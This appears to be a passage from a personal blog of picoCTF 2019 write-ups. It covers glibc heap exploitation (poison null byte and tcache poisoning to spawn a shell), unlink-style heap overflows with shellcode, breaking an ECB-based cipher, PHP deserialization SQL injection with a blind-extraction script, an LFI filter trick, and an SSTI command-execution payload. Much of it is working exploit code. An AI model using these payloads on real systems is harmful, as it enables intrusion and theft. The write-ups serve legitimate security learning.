  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    free(*(void **)(&DAT_00302060 + (ulong)local_14 * 0x10));
    *(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10) = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void edit(void)
{
  long in_FS_OFFSET;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Page: ");
  __isoc99_scanf(&DAT_0010119d,&local_14);
  printf("Content: ");
  if ((local_14 < 0x14) && (*(long *)(&DAT_00302060 + (ulong)local_14 * 0x10) != 0)) {
    FUN_00100a5a(*(undefined8 *)(&DAT_00302060 + (ulong)local_14 * 0x10),
                 (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10),
                 (ulong)*(uint *)(&DAT_00302068 + (ulong)local_14 * 0x10));
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void FUN_00100a5a(long lParm1,uint uParm2)
{
  ssize_t sVar1;
  long in_FS_OFFSET;
  char local_15;
  uint local_14;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_14 = 0;
  if (uParm2 != 0) {
    while (local_14 != uParm2) {
      sVar1 = read(0,&local_15,1);
      if (sVar1 != 1) {
        puts("read error");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      if (local_15 == '\n') break;
      *(char *)((ulong)local_14 + lParm1) = local_15;
      local_14 = local_14 + 1;
    }
    *(undefined *)(lParm1 + (ulong)local_14) = 0; //poison null byte
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}



void menu(void)
{
  puts("1. New page in diary");
  puts("2. Talk with ghost");
  puts("3. Listen to ghost");
  puts("4. Burn the page");
  puts("5. Go to sleep");
  printf("> ");
  return;
}

It's a pretty clear poison null byte attack due to the edit function.  However, there is an annoying limitation about the range of 0x10f and 0xf1; you are also limited under size 0x1e1.  With these limitations, the poison null byte does become a little more complicated, as once you overwrite any size into 0x100 with the null byte, you will need to allocate this overwritten chunk (before you free it) with data in a way to pass the double free or corruption (!prev) present in glibc.

Before starting, I pulled the libc-2.27.so file from the shell server.  I allocated three chunks at first (first one and last one as 0x128, and the middle one as 0x118), with the last one setup correctly to beat the check mentioned above.

Then, I filled up tcache for the bigger size with 7 allocations and tcache for the 0x100 real size tcachebin (the null byte poisoning will transform the 3rd original chunk into size 0x100) for later back consolidation; otherwise, freeing the chunk which we null byte poisoned will just send it to tcache bin for real size 0x100. Then, we send the first chunk into unsorted by freeing it since tcache for its size is full.  We now can poison null byte the third original chunk, free it, and back coaelesce (make sure to have prev size set accordingly so we can have a complete back coaelesce to the first chunk) once we free it with the help of the lack of prev in use bit and the proper prev size before it.

Afterwards, make sure to empty tcache for size 0x128 before reallocating a 0x128 chunk; this will allow it to overlap over the unsorted bin addresses, allowing for a libc leak.  We allocate another chunk now, this time over the original location of the second chunk (the second chunk was never freed).

Now, by freeing both the second chunk and the newly allocated chunk which overlaps with the former, we can create a double free and perform a tcache poisoning attack.  Re-allocating just one of them can allow us to change the next pointer to free hook, which in turn will allow us to overwrite it with system and pop a shell by calling "free" on a chunk with "/bin/sh\x00"
Here is the final exploit with a ton of comments:
from pwn import *

#context.log_level = 'debug'
binary = ELF('./ghostdiary')
libc = ELF('./libc-2.27.so')
'''
remote = ssh(host='10.0.2.5', user='will', password='OMITTED')
remote.set_working_directory('/home/will/ghostdiary')
context(arch='amd64')
p = remote.process('./ghostdiary')
'''
#https://github.com/cr0wnctf/writeups/tree/master/2018/2018_10_20_HITCON/children_tcache
#http://eternal.red/2018/children_tcache-writeup-and-tcache-overview/
p = process('/problems/ghost-diary_3_ef159a8a880a083c73a2bb724fc0bfcb/ghostdiary')

def wait():
    p.recvrepeat(0.1)

def alloc(size):
    wait()
    p.sendline(str(1))
    wait()
    if (size > 240):
        p.sendline(str(2))
    else:
        p.sendline(str(1))
    wait()
    p.sendline(str(size))

def delete(index):
    wait()
    p.sendline(str(4))
    wait()
    p.sendline(str(index))

def show(index):
    wait()
    p.sendline(str(3))
    wait()
    p.sendline(str(index))

def edit(index, data):
    wait()
    p.sendline(str(2))
    wait()
    p.sendline(str(index))
    wait()
    p.sendline(data)

big = 0x128 # tcache-able
small = 0x118 # tcache-able
alloc(big)
edit(0, 'A' * 50)
alloc(small)
edit(1, 'B' * 50)
alloc(big)
edit(2, 'C' * 0xf8 + p64(0x31)) #not filled to prevent the check about normal size from going crazy and the !prev thing, also beat the double free corruption thing
#0, 1, 2 above

#3-9, fill tcache for big size
for i in range(7):
    alloc(big)
for i in range(7):
    delete(i+3)
#fill tcache for 0x100 which is necessary for consolidation later too
for i in range(7):
    alloc(0xf0)
for i in range(7):
    delete(i+3)

#now the big 0x128 chunk goes to unsorted bc tcache filled (7 chunks max)
delete(0)

edit(1, 'D' * (small-8) + p64(big + small + 0x10)) #poison null byte time + fake prev size to beat check
#back consolidate
delete(2)
#empty tcache
for i in range(7):
    alloc(big) #0, 2, 3,4,5,6,7
#now pull from unsorted as tcache is empty
alloc(big)
show(8)
temp = p.recvuntil('>').split('\n')[0].split(': ')[1]
libcLeak = u64(temp.ljust(8, '\x00'))
log.info("Libc leak: " + hex(libcLeak))
#x/gx 0x00007fbeaada6fe0
#0x7fbeaada6fe0 <main_arena+928>:    0x00007fbeaada6fd0
'''
[+]libc version : glibc 2.27
[+]build ID : BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0
[+]main_arena_offset : 0x3ebc40
'''
libcbase = libcLeak - 0x3ebc40 - 928
log.info("Libc Base: " + hex(libcbase))
#00000000003ed8e8 <__free_hook@@GLIBC_2.2.5
freehook = libcbase + 0x3ed8e8
log.info("Free hook: " + hex(freehook))
system = libcbase + libc.symbols['system']
log.info("System: " + hex(system))
#now tcache poison
alloc(small) #so now something is over chunk "B" #9
#tcache poison double free
delete(1)
delete(9)
alloc(small) #1
edit(1, p64(freehook))
alloc(small)#9
alloc(small)#10
edit(10, p64(system)) #get back fake chunk
alloc(0x180)#11, for bin sh string
edit(11, '/bin/sh')
delete(11) #calling "free" on chunk with /bin/sh
p.interactive()

There you have it!  Ghost diary finished!

Friday, October 11, 2019

PicoCTF 2019 Heap Overflow Writeup

PicoCTF 2019 this year had 3 heap pwns with custom mallocs.

Note that in both Afterlife and Secondlife, the exploit was very similar to the hints.  You just had to flip the order of the addresses you place and slightly change the offset (by debugging in gdb) because the malloc was custom, but very similar to dlmalloc.  In the end, my script for both were the same.  The only differences were the win address.  Here was the basis of the script for both:

from pwn import *
context.log_level = 'debug'
#http://homes.sice.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf
#basically same attack as secondlife
shellcode = '\x90' * 0x80 + '\xB8\x66\x89\x04\x08\xFF\xD0' + '\x90' * 0x80
'''
mov eax, 0x08048966
call eax
'''
exit = 0x804d02c
remote = ssh(DETAILS OMMITTED)
remote.set_working_directory('/problems/afterlife_4_1753231287c321c4b5b1102d1b2272c6')
#p = process(['./vuln', 'blah'])
p = remote.process(['./vuln', 'blah'])
p.recvline()
leak = p.recvline()
leak = int(leak)
log.info('Leak: ' + hex(leak))
p.interactive()
p.recvrepeat(0.3)
#p.sendline(p32(exit - 12) + p32(leak + 16) + shellcode)
p.sendline(p32(leak + 16) + p32(exit - 8) + shellcode)
print p.recvall()


Heap Overflow
Once again, another very similar payload is used on this custom malloc/free program.  Comments for the variation are in the script itself.
from pwn import *

win = 0x08048936
exit = 0x804d02c
free = 0x8049aa4
context.log_level = 'debug'

#https://www.win.tue.nl/~aeb/linux/hh/hh-11.html
remote = ssh(DETAILS OMITTED)
remote.set_working_directory('/problems/heap-overflow_6_b4a1244485bc8fdf27646e1db83dc360')
p = remote.process('./vuln')
#target first big chunk, overwrite puts@GOT with exit

p.recvline()
leak = int(p.recvline())
p.recvline()
log.info('Leak: ' + hex(leak))
#668 begins overflow
'''
Success! Watch carefully: p and q are 1032 (0x408) apart. The second 0xfffffffc overflows the size field of the buffer q with an even value (-4), so the prev_size field (also -4) is valid, and we subtract it from the pointer (q-8) to the struct chunk of q in order to get the pointer (q-4) to its predecessor. Now the assignments fwd->bk = bck; bck->fd = fwd; become *(A+12) = B; *(B+8) = A where A = 0x080495e8 is &n - 12 and B = 0xbfffff80 is some random address on the stack. Now *(A+12) = B does n = B, and that is what we see.
'''
#padding till overflow + valid prev size and valid size + padding + address to leak and then puts@GOT-8
shellcode = '\x90' * 60 + '\xB8\x36\x89\x04\x08\xFF\xD0' + '\x90' * 100
'''
mov eax, 0x08048936
call eax
'''
shellcode = shellcode + 'A' * (664 - len(shellcode))
payload = shellcode + p32(0xfffffffc) + p32(0xfffffffc) + p32(0x804d028-12) + p32(leak + 20)
p.sendline(payload)
p.interactive()
p.sendline()
print p.recvall()
'''
break here
0x8049bee <free+330>: mov    DWORD PTR [eax+0xc],edx
'''
These challenges were really easy heap challenges and were sort of weird too.

Some PicoCTF 2019 Crypto and Web Writeups (AES-ABC, Cereal 1 & 2, Empire 3)

This post just has some writeups for interesting problems I found in both cryptography and web exploitation categories.

AES ABC

Basically, the gist of this problem was that ABC summed up the data created in an ECB encrypted image (which is really insecure as original data can still be distinguished due to the nature of ECB!)

def aes_abc_encrypt(pt):
    cipher = AES.new(KEY, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt))

    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    iv = os.urandom(16)
    blocks.insert(0, iv)
 
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

    ct_abc = "".join(blocks)

    return iv, ct_abc, ct
So if we just reverse that operation (padding and the IV won't even matter... they will just mess up some pixels), we should be able to distinguish the original image.  Here was my final script to reverse the operations on the image.
from Crypto.Cipher import AES
#from key import KEY
import os
import math

'''
(n + x) mod m = b
reversed is
x = (b - n) mod m
'''

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))


def to_bytes(n):
    s = hex(n)
    s_n = s[2:]
    if 'L' in s_n:
        s_n = s_n.replace('L', '')
    if len(s_n) % 2 != 0:
        s_n = '0' + s_n
    decoded = s_n.decode('hex')

    pad = (len(decoded) % BLOCK_SIZE)
    if pad != 0:
        decoded = "\0" * (BLOCK_SIZE - pad) + decoded
    return decoded


def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index('\n') + 1], s[s.index('\n')+1:]


def parse_header_ppm(f):
    data = f.read()

    header = ""

    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data

def pad(pt):
    padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
    return pt + (chr(padding) * padding)  # would padding really matter, it's ecb anyways so we should be able to see image

def aes_abc_encrypt(pt):
    cipher = AES.new(KEY, AES.MODE_ECB)
    ct = cipher.encrypt(pad(pt)) #encrypts image with ECB

    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    '''
    for i in range(len(ct) / BLOCK_SIZE):
        blocks[i] = ct[(i * BLOCK_SIZE):(i+1) * BLOCK_SIZE] //sets blocks accordingly to ecb
    '''
    iv = os.urandom(16)
    blocks.insert(0, iv) #inserts iv in front
 
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)

        n_curr_blk = (prev_blk + curr_blk) % UMAX
        blocks[i+1] = to_bytes(n_curr_blk)

    ct_abc = "".join(blocks)

    return iv, ct_abc, ct

def aes_abc_decrypt(ct):
    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    blocks = blocks[1:] #strip iv
    #reverse operations
    for i in range(len(blocks)-1, 1, -1):
        prev_blk = int(blocks[i-1].encode('hex'), 16)
        curr_blk = int(blocks[i].encode('hex'), 16)
n_curr_blk = (curr_blk-prev_blk)%UMAX
blocks[i] = to_bytes(n_curr_blk)
    return ''.join(blocks)


if __name__=="__main__":
    with open('body.enc.ppm', 'rb') as f:
        header, data = parse_header_ppm(f)
        data = aes_abc_decrypt(data)
    #iv, c_img, ct = aes_abc_encrypt(data)

    with open('decrypt.ppm', 'wb') as fw:
        fw.write(header) #header still writen back to new file
        fw.write(data)

This was considered one of the harder crypto challenges this year... picoCTF 2019 crypto really was easier than 2018's.

Cereal 1

This web challenge took me a while to figure out.  I knew it had something to do with serialization from the name "cereal."  I also guessed a login as guest:guest.  Lastly, there was an admin page and a regular user page on the website.  Playing around, I found a sqli in the cookie (the structure of it can be decoded via base64 decode and url decode).  Here was the final php script used to generate the malicious sqli cookie.

<?php class permissions
{
        public $username = "guest";
        public $password = "guest";
}

$payload = new Permissions();
$payload->username = "admin";
$payload->password = "test'or'1=1";
echo urlencode(base64_encode(serialize($payload)));
echo "\n";
?>

Then, you will get the flag.

Cereal 2
Credentials no longer work anymore.  Playing around, I realized that we can LFI the webpage by simply changing the file it requests.  In order to reveal the original PHP source, I used the filter base64 decode method from pentesting cheatsheets to LFI (?file=php://filter/convert.base64-encode/resource=page.php).  From the pages such as index.php and admin.php, we end up finding a connection to cookies.php, which has the following code

<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
public $username;
public $password;

function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}

function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
//$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
    die("SQL error");
}

$prepared->bind_param('ss', $this->username, $this->password);

if (!$prepared->execute()) {
    die("SQL error");
}

if (!($result = $prepared->get_result())) {
    die("SQL error");
}

$r = $result->fetch_all();
if($result->num_rows !== 1){
$is_admin_val = 0;
}
else{
$is_admin_val = (int)$r[0][0];
}

$sql_conn->close();
return $is_admin_val;
}
}
#prepared statements above aren't vulnerable
/* legacy login */
class siteuser
{
public $username;
public $password;

function __construct($u, $p){
$this->username = $u;
$this->password = $p;
}

function is_admin(){
global $sql_conn;
if($sql_conn->connect_errno){
die('Could not connect');
}
$q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';

$result = $sql_conn->query($q);
if($result->num_rows != 1){
$is_user_val = 0;
}
else{
$is_user_val = 1;
}

$sql_conn->close();
return $is_user_val;
}
}


if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}

?>

Once again, we can do sqli by making it deserialize the legacy version (which still exists).  Playing around with my previous script from cereal 1, I determined that an injection in which we guess the character of the password one by one can be done; this is a classic boolean injection attack.
Using my "like" method, there was an issue with the first few characters, but with some fiddling, I figured it had to start with picoCTF.  Afterwards, it worked fine.

<?php class siteuser
{
        public $username = "guest";
        public $password = "guest";
}

#boolean sqli
$charset = "0123456789abcdefghijklmnopqrstuvwxyz{}";
$flag = "picoCTF";
for($i = 0; $i < strlen($charset); $i++)
{
$sqli = "blahblahthisnamedoesntexist' union select admin from pico_ch2.users where password like '".$flag.$charset[$i]."%'-- ";
$payload = new siteuser();
$payload->username = $sqli;
$result = request("user_info=".urlencode(base64_encode(serialize($payload))));
if ($result)
{
$flag = $flag.$charset[$i];
echo $flag."\n";
if ($charset[$i] !== "}")
{
$i=0;
}
}
}

function request($payload)
{
$exploit = curl_init();
curl_setopt($exploit, CURLOPT_URL,"http://2019shell1.picoctf.com:62195/index.php?file=admin");
curl_setopt($exploit, CURLOPT_COOKIE, $payload);
curl_setopt($exploit, CURLOPT_COOKIESESSION, 1);
curl_setopt($exploit, CURLOPT_RETURNTRANSFER, true);
curl_setopt($exploit, CURLOPT_HEADER, true);
$output = curl_exec($exploit);
curl_close ($exploit);
if (strstr($output, "You are not admin!"))
{
return false;
}
else
{
return true;
}
}
?>



There also is an unintended solution where you can use the sql creds you find in sql_connect.php to connect to the database and just grab the flag there.

Empire 3
An easy SSTI injection, just like Flaskcards and Freedom from 2018.  My final payload is the following (I targeted warnings catch warnings):
{{ ''.__class__.__mro__[1].__subclasses__()[157].__init__.__globals__.__builtins__.eval("__import__('os').popen('grep -R .').read()") }}